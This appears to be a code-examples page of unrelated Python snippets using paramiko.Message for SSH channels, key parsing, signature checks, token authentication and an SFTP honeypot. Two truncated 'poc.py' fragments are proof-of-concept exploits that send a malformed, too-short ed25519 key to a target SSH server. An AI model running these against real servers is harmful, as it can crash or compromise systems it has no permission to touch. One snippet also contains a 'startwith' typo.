def receive_all(self):
        """
        Flushes the receive buffer, returning all text that was in it.

        :return: the text that was present in the receive queue, if any.
        """

        self._verify_connected()

        logging.debug('Receiving all data')

        # Going behind Paramiko's back here; the Channel object does not have a
        # function to do this, but the BufferedPipe object that it uses to
        # store incoming data does. Note that this assumes stderr is redirected
        # to the main recv queue.
        data = self.channel.in_buffer.empty()

        # Check whether need to send a window update.
        ack = self.channel._check_add_window(len(data))

        # The number of bytes we receive is larger than in_windows_threshold,
        # send a window update. Paramiko Channel only sends window updates
        # when received bytes exceed its threshold.
        if ack > 0:
            m = paramiko.Message()
            m.add_byte(chr(paramiko.channel.MSG_CHANNEL_WINDOW_ADJUST))
            m.add_int(self.channel.remote_chanid)
            m.add_int(ack)
            self.channel.transport._send_user_message(m)

        # translate return data to string
        data = data.decode()

        return data
Beispiel #2
0
def parse_pub_key(public_key):
    """Parse public_key string to paramiko key.
    Throws exception if key is broken.
    """
    if paramiko is None:
        raise Exception("You need paramiko to use ssh with public keys")
    public_key_elms = public_key.split(' ')

    # Either we have 'from' or 'ssh-' as first element

    if len(public_key_elms) > 0 and \
            public_key_elms[0].startswith('ssh-'):
        ssh_type_idx = 0
    elif len(public_key_elms) > 1 and \
            public_key_elms[1].startwith('ssh-'):
        ssh_type_idx = 1
    else:
        msg = 'Invalid ssh public key: (%s)' % public_key
        raise ValueError(msg)

    head, tail = public_key.split(' ')[ssh_type_idx:2 + ssh_type_idx]
    bits = base64.decodestring(tail)
    msg = paramiko.Message(bits)
    if head == 'ssh-rsa':
        parse_key = paramiko.RSAKey
    elif head == 'ssh-dss':
        parse_key = paramiko.DSSKey
    else:
        # Try RSA for unknown key types
        parse_key = paramiko.RSAKey
    return parse_key(msg)
Beispiel #3
0
 def is_signature_valid(self, signed, fingerprint, signature):
     """Return whether this signature is valid for the signed data"""
     try:
         return self.keys.collection.public_rsaobj_for(
             fingerprint).verify_ssh_sig(
                 signed, paramiko.Message(unhexlify(signature)))
     except TypeError:
         return False
Beispiel #4
0
def message_from_string(s):
    msg = paramiko.Message(content=s)
    mtype = msg.get_int()
    id = msg.get_int64()
    data = msg.get_string()
    if data:
        data = marshal.loads(data)
    return IPCMessage(mtype, id=id, data=data)
Beispiel #5
0
 def get_message(self):
     msg = paramiko.Message()
     msg.add_int(self.mtype)
     if not self.id:
         self.id = self.new_id()
     msg.add_int64(self.id)
     msg.add_string(marshal.dumps(self.data))
     return msg
Beispiel #6
0
    def __init__(self, username, password, 
                 chroot=True, home=None, public_key=None):
        self.username = username
        self.password = password
        self.chroot = chroot
        self.public_key = public_key
        if type(self.public_key) in (str, unicode):
            bits = base64.decodestring(self.public_key.split(' ')[1])
            msg = paramiko.Message(bits)
            key = paramiko.RSAKey(msg)
            self.public_key = key

        self.home = home
        if self.home is None:
            self.home = self.username
Beispiel #7
0
    def send_response(self, request_number, t, *arg):
        msg = paramiko.Message()
        msg.add_int(request_number)

        for item in arg:
            if isinstance(item, int):
                msg.add_int(item)
            elif isinstance(item, str):
                msg.add_string(item)
            elif type(item) is paramiko.SFTPAttributes:
                item._pack(msg)
            else:
                raise Exception("unknown type")

        self._send_packet(t, msg)
Beispiel #8
0
 def ping(self):
     m = paramiko.Message()
     m.add_byte(struct.pack('b', paramiko.common.MSG_GLOBAL_REQUEST))
     m.add_string('*****@*****.**')
     m.add_boolean(True)
     self.transport._send_user_message(m)
     self.transport.completion_event.wait(0.1)
     if self.transport.completion_event.is_set():
         self.transport.completion_event.clear()
         self.pending_count = 0
         return True
     self.pending_count += 1
     if self.pending_count > self.threshold:
         raise ServerNotResponding(self.transport.getName())
     return False
    def _sign_payload(self, encrypted_payload):
        """
        encrypted_payload - base64 representation of the encrypted payload.
        returns: base64-encoded signature
        """
        sign_message = self.sender_key.sign_ssh_data(encrypted_payload)

        # Verify what we generated just in case:
        verify_message = paramiko.Message(sign_message.asbytes())
        verify_res = self._verify_signature(encrypted_payload, verify_message)

        if not verify_res:
            self._raise_error("FAILED to verify signed data. ABORTING.")

        result = base64.b64encode(sign_message.asbytes())
        return result
Beispiel #10
0
    def empty_in_buffer(self):
        """
        Empty the incoming channel buffer into data. Send window update when
        received data exceeds threshold

        Returns:
            :data (str): data in the form of str
        """
        if self.connected():
            data = self.channel.in_buffer.empty()

            win_update = self.channel._check_add_window(len(data))
            if win_update > 0:
                msg = paramiko.Message()
                msg.add_byte(paramiko.channel.cMSG_CHANNEL_WINDOW_ADJUST)
                msg.add_int(self.channel.remote_chanid)
                msg.add_int(win_update)
                self.channel.transport._send_user_message(msg)

            return data
Beispiel #11
0
def get_auth_token_ssh(account, signature, appid, ip=None, session=None):
    """
    Authenticate a Rucio account temporarily via SSH key exchange.

    The token lifetime is 1 hour.

    :param account: Account identifier as a string.
    :param signature: Response to server challenge signed with SSH private key as string.
    :param appid: The application identifier as a string.
    :param ip: IP address of the client as a string.
    :param session: The database session in use.

    :returns: A models.Token object as saved to the database.
    """
    if not isinstance(signature, bytes):
        signature = signature.encode()

    # Make sure the account exists
    if not account_exists(account, session=session):
        return None

    # get all active challenge tokens for the requested account
    active_challenge_tokens = session.query(models.Token).filter(models.Token.expired_at >= datetime.datetime.utcnow(),
                                                                 models.Token.account == account,
                                                                 models.Token.token.like('challenge-%')).all()

    # get all identities for the requested account
    identities = session.query(models.IdentityAccountAssociation).filter_by(identity_type=IdentityType.SSH,
                                                                            account=account).all()

    # no challenge tokens found
    if not active_challenge_tokens:
        return None

    # try all available SSH identities for the account with the provided signature
    match = False
    for identity in identities:
        pub_k = paramiko.RSAKey(data=b64decode(identity['identity'].split()[1]))
        for challenge_token in active_challenge_tokens:
            if pub_k.verify_ssh_sig(str(challenge_token['token']).encode(),
                                    paramiko.Message(signature)):
                match = True
                break
        if match:
            break

    if not match:
        return None

    # remove expired tokens
    session.query(models.Token).filter(models.Token.expired_at < datetime.datetime.utcnow(),
                                       models.Token.account == account).with_for_update(skip_locked=True).delete()

    # create new rucio-auth-token for account
    tuid = generate_uuid()  # NOQA
    token = '%(account)s-ssh:pubkey-%(appid)s-%(tuid)s' % locals()
    new_token = models.Token(account=account, token=token, ip=ip)
    new_token.save(session=session)
    session.expunge(new_token)

    return new_token
Beispiel #12
0
    def open_unix_socket(self,
                         socket_path: str,
                         window_size: int = common.DEFAULT_WINDOW_SIZE,
                         max_packet_size: int = common.DEFAULT_MAX_PACKET_SIZE,
                         timeout: tobiko.Seconds = None) \
            -> paramiko.Channel:
        # pylint: disable=protected-access
        transport: typing.Any = self.connect().get_transport()
        if transport is None or not transport.active:
            raise paramiko.SSHException("SSH session not active")
        timeout = 3600 if timeout is None else timeout
        transport.lock.acquire()
        try:
            window_size = transport._sanitize_window_size(window_size)
            max_packet_size = transport._sanitize_packet_size(max_packet_size)
            chanid = transport._next_channel()

            # Documented here:
            # https://github.com/openssh/openssh-portable/blob/master/PROTOCOL
            m = paramiko.Message()
            m.add_byte(b'Z')
            m.add_string('*****@*****.**')
            m.add_int(chanid)
            m.add_int(window_size)
            m.add_int(max_packet_size)
            m.add_string(socket_path)
            # Reserved stuff
            m.add_string('')
            m.add_int(0)

            sock: typing.Any = paramiko.Channel(chanid)
            transport._channels.put(chanid, sock)
            transport.channel_events[chanid] = event = threading.Event()
            transport.channels_seen[chanid] = True
            sock._set_transport(transport)
            sock._set_window(window_size, max_packet_size)
        finally:
            transport.lock.release()

        transport._send_user_message(m)
        start_ts = tobiko.time()
        while True:
            event.wait(0.1)
            if not transport.active:
                e = transport.get_exception()
                if e is None:
                    e = paramiko.SSHException("Unable to open channel.")
                raise e
            if event.is_set():
                break
            elif start_ts + timeout < time.time():
                raise paramiko.SSHException("Timeout opening channel.")

        sock = transport._channels.get(chanid)
        if sock is None:
            e = transport.get_exception()
            if e is None:
                e = paramiko.SSHException("Unable to open channel.")
            raise e

        return sock
if len(sys.argv) != 4:
    print('./poc.py <host> <port> <user>')
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

t = paramiko.Transport(sock)
t.start_client()

t.lock.acquire()
m = paramiko.Message()
m.add_byte(cMSG_SERVICE_REQUEST)
m.add_string("ssh-userauth")
t._send_message(m)

m = paramiko.Message()
m.add_byte(cMSG_USERAUTH_REQUEST)
m.add_string(user)
m.add_string("ssh-connection")
m.add_string('publickey')
m.add_boolean(True)
m.add_string('ssh-ed25519')

# Send an SSH key that is too short (ed25519 keys are 32 bytes)
m.add_string(
    b'\x00\x00\x00\x0bssh-ed25519\x00\x00\x00\x15key-that-is-too-short')
Beispiel #14
0
    def start_subsystem(self, name, transport, channel):
        self.sock = channel
        username = self.get_server().transport.get_username()
        home = 'root' if username == 'root' else 'home/%s' % username

        self._send_server_version()
        while True:
            try:
                t, data = self._read_packet()
                msg = paramiko.Message(data)
                req_num = msg.get_int()

                if t == sftp.CMD_REALPATH:
                    path = msg.get_text()
                    self.log_event(sftp_cmd='realpath', path=path)
                    self.send_response(
                        req_num,
                        sftp.CMD_NAME,
                        1,
                        '/' + clean_path(home + '/' + path.replace('\\', '/')),
                        '',
                        paramiko.SFTPAttributes(),
                    )
                elif t == sftp.CMD_OPEN:
                    self.log_event(sftp_cmd='open', path=msg.get_text())
                    self.send_response(req_num, sftp.CMD_HANDLE, secrets.token_hex(4))
                elif t == sftp.CMD_CLOSE:
                    self.log_event(sftp_cmd='close')
                    self.send_status(req_num, paramiko.SFTP_OK)
                elif t == sftp.CMD_READ:
                    self.log_event(sftp_cmd='read')
                    self.send_status(req_num, paramiko.SFTP_BAD_MESSAGE)
                elif t == sftp.CMD_WRITE:
                    self.log_event(sftp_cmd='write')
                    self.send_status(req_num, paramiko.SFTP_OK)
                elif t == sftp.CMD_REMOVE:
                    self.log_event(sftp_cmd='remove', path=msg.get_text())
                    self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED)
                elif t == sftp.CMD_RENAME:
                    self.log_event(
                        sftp_cmd='rename',
                        source=msg.get_text(),
                        destination=msg.get_text(),
                    )
                    self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED)
                elif t == sftp.CMD_MKDIR:
                    self.log_event(sftp_cmd='mkdir', path=msg.get_text())
                    self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED)
                elif t == sftp.CMD_RMDIR:
                    self.log_event(sftp_cmd='rmdir', path=msg.get_text())
                    self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED)
                elif t == sftp.CMD_OPENDIR:
                    self.log_event(sftp_cmd='opendir', path=msg.get_text())
                    self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED)
                elif t == sftp.CMD_READDIR:
                    self.log_event(sftp_cmd='readdir')
                    self.send_status(req_num, paramiko.SFTP_BAD_MESSAGE)
                elif t == sftp.CMD_STAT:
                    self.log_event(sftp_cmd='stat', path=msg.get_text())
                    self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED)
                elif t == sftp.CMD_LSTAT:
                    self.log_event(sftp_cmd='lstat', path=msg.get_text())
                    self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED)
                elif t == sftp.CMD_FSTAT:
                    self.log_event(sftp_cmd='fstat')
                    self.send_status(req_num, paramiko.SFTP_BAD_MESSAGE)
                elif t == sftp.CMD_SETSTAT:
                    self.log_event(sftp_cmd='setstat', path=msg.get_text())
                    self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED)
                elif t == sftp.CMD_FSETSTAT:
                    self.log_event(sftp_cmd='fsetstat')
                    self.send_status(req_num, paramiko.SFTP_BAD_MESSAGE)
                elif t == sftp.CMD_READLINK:
                    self.log_event(sftp_cmd='readlink', path=msg.get_text())
                    self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED)
                elif t == sftp.CMD_SYMLINK:
                    self.log_event(
                        sftp_cmd='symlink',
                        target=msg.get_text(),
                        link_name=msg.get_text(),
                    )
                    self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED)
                elif t == sftp.CMD_EXTENDED:
                    tag = msg.get_text()
                    if tag == 'check-file':
                        self.send_status(req_num, paramiko.SFTP_BAD_HANDLE)
                    elif tag.endswith('@openssh.com'):
                        self.send_status(req_num, paramiko.SFTP_PERMISSION_DENIED)

                    self.log_event(sftp_cmd='extended', tag=tag)
                else:
                    self.log_event(sftp_cmd_raw=t)
                    self.send_status(req_num, paramiko.SFTP_OP_UNSUPPORTED)
            except EOFError:
                return
            except Exception as e:
                traceback.print_exc()
                return
Beispiel #15
0
if len(sys.argv) != 4:
    print('./poc.py <host> <port> <user>')
    sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
user = sys.argv[3]

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

t = paramiko.Transport(sock)
t.start_client()

t.lock.acquire()
m = paramiko.Message()
m.add_byte(cMSG_SERVICE_REQUEST)
m.add_string("ssh-userauth")
t._send_message(m)

m = paramiko.Message()
m.add_byte(cMSG_USERAUTH_REQUEST)
m.add_string(user)
m.add_string("ssh-connection")
m.add_string('publickey')
m.add_boolean(True)
m.add_string('ssh-ed25519')

# Send an SSH key that is too short (ed25519 keys are 32 bytes)
key = paramiko.Message()
key.add_string('ssh-ed25519')